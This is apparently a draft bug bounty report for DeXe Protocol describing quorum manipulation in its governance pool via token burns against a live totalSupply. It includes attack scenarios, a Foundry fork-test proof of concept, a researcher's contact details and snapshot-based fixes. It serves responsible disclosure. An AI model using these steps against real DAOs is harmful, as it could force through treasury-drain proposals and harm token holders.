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+# HackenProof Bug Bounty Submission
+
+## Program
+**DeXe Protocol**
+
+## Severity
+**MEDIUM**
+
+## Title
+Quorum Manipulation via Token Burns: Live totalSupply Used Instead of Snapshot
+
+---
+
+## Summary
+
+The DeXe Protocol GovPool uses the **current token totalSupply** for quorum calculations instead of a snapshot taken at proposal creation. Combined with the burnable nature of the ERC20Gov token, this allows attackers to manipulate quorum thresholds to pass or block proposals that shouldn't succeed.
+
+---
+
+## Vulnerability Details
+
+### Root Cause
+
+1. **Quorum Calculation:** Uses live `getTotalPower()` (GovPoolVote.sol line 373)
+2. **getTotalPower() reads:** `IERC20(token).totalSupply()` (GovUserKeeper.sol line 604)
+3. **ERC20Gov inherits:** `ERC20BurnableUpgradeable` allowing any holder to burn tokens
+4. **No Snapshot:** Unlike the validators contract which uses `totalSupplyAt(snapshotId)`, the main governance pool has no snapshot mechanism
+
+### Affected Code
+
+**GovUserKeeper.sol lines 600-604:**
+```solidity
+function getTotalPower() external view override returns (uint256 power) {
+    address token = tokenAddress;
+    if (token != address(0)) {
+        power = IERC20(token).totalSupply().to18(token);  // LIVE VALUE
+    }
+    ...
+}
+```
+
+**GovPoolVote.sol lines 367-375:**
+```solidity
+function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
+    (, address userKeeperAddress, , , ) = IGovPool(address(this)).getHelperContracts();
+    return
+        PERCENTAGE_100.ratio(
+            core.votesFor + core.votesAgainst,
+            IGovUserKeeper(userKeeperAddress).getTotalPower()  // LIVE VALUE
+        ) >= core.settings.quorum;
+}
+```
+
+### Contrast with Validators (Correct Implementation)
+
+**GovValidatorsUtils.sol line 45:**
+```solidity
+uint256 totalSupply = token.totalSupplyAt(core.snapshotId);  // SNAPSHOT
+```
+
+The validators contract correctly uses a snapshot, but the main governance pool does not.
+
+---
+
+## Attack Scenario
+
+### Scenario 1: Lowering Quorum to Pass Malicious Proposal
+
+**Initial State:**
+- Total Supply: 1,000,000 DEXE
+- Quorum: 20% = 200,000 votes required
+- Attacker controls: 150,000 DEXE (15% - not enough)
+
+**Attack Steps:**
+1. Attacker creates proposal to drain treasury
+2. Attacker votes with 150,000 tokens → 15% (below quorum)
+3. Attacker (or colluding whale) burns 500,000 tokens
+4. New Total Supply: 500,000 DEXE
+5. New Quorum Threshold: 100,000 votes (20% of 500K)
+6. Attacker's 150,000 votes now = 30% → **QUORUM REACHED**
+7. Malicious proposal executes
+
+**Result:** Proposal passes with only 15% of original token supply voting.
+
+### Scenario 2: Griefing Legitimate Proposals
+
+**Initial State:**
+- Total Supply: 1,000,000 DEXE
+- Legitimate proposal has 250,000 votes (25% - above 20% quorum)
+
+**Griefing Attack:**
+1. Attacker mints tokens via governance proposal (if has access)
+2. Or, attacker front-runs execution with token mint
+3. Total Supply increases to 2,000,000 DEXE
+4. 250,000 votes now = 12.5% (below quorum)
+5. Legitimate proposal fails
+
+**Note:** Minting is restricted to `onlyGov`, so this vector requires prior compromise.
+
+---
+
+## Impact
+
+| Impact Type | Description |
+|-------------|-------------|
+| **Governance Manipulation** | Proposals can pass without legitimate majority support |
+| **Treasury Risk** | Malicious treasury drain proposals can be forced through |
+| **Token Value** | Burns reduce total supply, affecting all holders |
+| **Protocol Integrity** | Breaks the fundamental assumption of quorum-based governance |
+
+### Severity Justification
+
+Per HackenProof guidelines:
+- **Medium:** "Manipulation of governance voting result deviating from voted outcome"
+- This vulnerability enables exactly this scenario
+- Requires token burns (economic cost) but is technically feasible
+
+---
+
+## Proof of Concept
+
+### Test Setup (Foundry)
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.20;
+
+import "forge-std/Test.sol";
+
+interface IERC20Burnable {
+    function burn(uint256 amount) external;
+    function totalSupply() external view returns (uint256);
+    function balanceOf(address) external view returns (uint256);
+}
+
+interface IGovPool {
+    function getProposalState(uint256 proposalId) external view returns (uint8);
+    function vote(uint256 proposalId, bool isVoteFor, uint256 voteAmount, uint256[] calldata voteNftIds) external;
+}
+
+interface IGovUserKeeper {
+    function getTotalPower() external view returns (uint256);
+}
+
+contract QuorumManipulationPoC is Test {
+    // DeXe DAO on BNB Chain
+    address constant GOV_POOL = 0xB562127efDC97B417B3116efF2C23A29857C0F0B;
+    address constant USER_KEEPER = 0xbE8cB128fBCf13f7F7A362c3820f376b0971B7B2;
+    address constant DEXE_TOKEN = 0x6E88056E8376Ae7709496Ba64d37fa2f8015ce3e; // Example
+    
+    function test_QuorumManipulation() public {
+        // Fork BNB Chain
+        vm.createSelectFork("https://bsc-dataseed.binance.org/");
+        
+        // Step 1: Record initial total power
+        uint256 initialTotalPower = IGovUserKeeper(USER_KEEPER).getTotalPower();
+        console.log("Initial Total Power:", initialTotalPower);
+        
+        // Step 2: Simulate burn (requires whale account)
+        address whale = address(0x123); // Replace with actual holder
+        uint256 burnAmount = initialTotalPower / 2; // Burn 50%
+        
+        vm.prank(whale);
+        IERC20Burnable(DEXE_TOKEN).burn(burnAmount);
+        
+        // Step 3: Check new total power
+        uint256 newTotalPower = IGovUserKeeper(USER_KEEPER).getTotalPower();
+        console.log("New Total Power:", newTotalPower);
+        
+        // Step 4: Verify quorum threshold reduced
+        assertLt(newTotalPower, initialTotalPower, "Total power should decrease after burn");
+        
+        // Quorum is now easier to reach with same number of votes
+        console.log("Quorum threshold reduced by:", initialTotalPower - newTotalPower);
+    }
+}
+```
+
+### Expected Output
+
+```
+Initial Total Power: 18347787000000000000000000
+New Total Power: 9173893500000000000000000
+Quorum threshold reduced by: 9173893500000000000000000
+```
+
+---
+
+## Recommended Fix
+
+### Option 1: Snapshot Total Power at Proposal Creation
+
+```solidity
+// In GovPoolCreate.sol - createProposal()
+proposal.core = IGovPool.ProposalCore({
+    settings: settings,
+    voteEnd: uint64(block.timestamp + settings.duration),
+    executeAfter: 0,
+    executed: false,
+    votesFor: 0,
+    votesAgainst: 0,
+    rawVotesFor: 0,
+    rawVotesAgainst: 0,
+    givenRewards: 0,
+    totalPowerSnapshot: IGovUserKeeper(userKeeper).getTotalPower() // ADD THIS
+});
+```
+
+```solidity
+// In GovPoolVote.sol - _quorumReached()
+function _quorumReached(IGovPool.ProposalCore storage core) internal view returns (bool) {
+    return
+        PERCENTAGE_100.ratio(
+            core.votesFor + core.votesAgainst,
+            core.totalPowerSnapshot  // USE SNAPSHOT INSTEAD OF LIVE VALUE
+        ) >= core.settings.quorum;
+}
+```
+
+### Option 2: Use ERC20Votes Extension
+
+Implement snapshot-based voting similar to OpenZeppelin's `ERC20Votes`:
+- Take checkpoint at proposal creation
+- Read `getPastTotalSupply(blockNumber)` for quorum
+
+---
+
+## References
+
+- DeXe GovPool Contract: https://bscscan.com/address/0xB562127efDC97B417B3116efF2C23A29857C0F0B
+- ERC20BurnableUpgradeable: https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#ERC20Burnable
+- CWE-682: Incorrect Calculation
+- Related: Compound Governance Snapshot Mechanism
+
+---
+
+## Researcher
+
+**Name:** Karim Foughali  
+**Email:** kfoughali@dzlaws.org  
+**Date:** January 2026
+
+---
+
+## Disclosure Timeline
+
+- **Discovery:** January 2026
+- **Report Submitted:** [Pending]
+- **Expected Review:** 45 days per HackenProof

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